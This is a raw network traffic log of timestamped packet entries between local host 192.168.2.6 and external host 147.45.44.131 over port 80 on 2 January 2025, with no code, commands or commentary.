Jan 2, 2025 19:14:16.518335104 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518351078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518356085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518383026 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518402100 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518402100 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518408060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518435001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518452883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518503904 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518515110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518522024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518528938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518534899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518553972 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518559933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518683910 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518706083 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518759966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518832922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518846989 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518852949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518863916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518881083 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518886089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518893003 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518898010 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518906116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518919945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518930912 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.518943071 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518943071 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.518976927 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.519011021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519017935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519030094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519038916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519069910 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.519095898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519102097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519108057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519129038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519134998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519151926 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.519177914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519185066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519196987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519198895 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.519198895 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.519248962 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.519304037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519309998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519324064 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519336939 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519342899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519349098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519355059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519372940 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.519442081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519448042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519459009 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519464970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519470930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519475937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.519478083 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.519495010 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.519562006 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.520137072 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520143986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520149946 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520155907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520265102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520266056 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.520278931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520289898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520296097 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520303011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520308018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520313025 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520334959 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.520381927 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.520382881 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.520423889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520430088 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520442963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520447016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.520481110 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.520622015 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.521158934 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521163940 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521169901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521174908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521181107 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521229029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521244049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521246910 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.521250963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521256924 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521291971 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.521312952 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.521374941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521383047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521394014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521399975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521436930 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.521506071 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521512032 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521519899 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521523952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521563053 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.521574974 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521641016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521646023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521646023 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.521652937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521658897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521692991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521697044 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521724939 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.521729946 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521740913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.521759033 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.521991014 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.522995949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523044109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523050070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523111105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523116112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523116112 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523128986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523134947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523140907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523183107 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523183107 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523242950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523247957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523262978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523276091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523297071 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523310900 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523336887 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523401976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523410082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523427963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523435116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523441076 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523447037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523462057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523468018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523477077 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523540974 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523540974 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523561001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523603916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523611069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523648024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523695946 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523704052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523710966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523720980 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523739100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523745060 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523776054 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523828030 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.523852110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.523899078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524005890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524012089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524029016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524034977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524040937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524041891 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.524051905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524059057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524100065 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.524113894 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.524254084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524260998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524272919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524279118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524285078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524291039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524301052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524342060 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.524446964 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.524540901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524547100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524564981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524570942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524578094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524584055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524590969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524602890 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.524692059 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524698019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524703979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524713039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524718046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524730921 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.524766922 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.524766922 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.524799109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524805069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.524887085 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.527673006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527686119 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527689934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527756929 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.527756929 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.527786016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527792931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527805090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527811050 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527832985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527858019 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.527858019 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.527879000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527885914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527925014 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527930021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527945995 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.527945995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527951956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527957916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.527966976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.528000116 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.528012991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.528022051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.528028965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.528034925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.528043032 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.528090954 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.528119087 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.528125048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.528131962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.528136015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.528218985 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.532618999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532625914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532632113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532638073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532644033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532655001 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532661915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532674074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532680988 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532691956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532697916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532705069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532710075 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.532716036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532722950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.532872915 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.532872915 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.532872915 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.534682035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.534688950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.534694910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.534703970 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.534710884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.534723043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.534729004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.534734964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.534759998 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.534830093 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.535325050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.535331964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.535337925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.535387039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.535393000 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.535404921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.535410881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.535418987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.535434961 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.535454035 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.535454035 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.535491943 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.536288977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.536293983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.536305904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.536345959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.536353111 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.536359072 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.536384106 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.536406040 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.536423922 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.536429882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.536588907 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.546547890 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.546566010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.546576977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.546633005 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.546638966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.546646118 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.546652079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.546658039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.546700954 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.546700954 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.546763897 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.548286915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.548293114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.548304081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.548310041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.548316002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.548321962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.548327923 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.548362017 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.548407078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.550630093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.550664902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.550669909 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.550682068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.550688028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.550693989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.550764084 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.550764084 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.550793886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.550806999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.550959110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.550971031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.550977945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551105022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551111937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551117897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551124096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551130056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551145077 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551193953 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551193953 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551363945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551379919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551392078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551404953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551409006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551419973 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551451921 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551466942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551472902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551502943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551506996 CET	49726	80	192.168.2.6	147.45.44.131
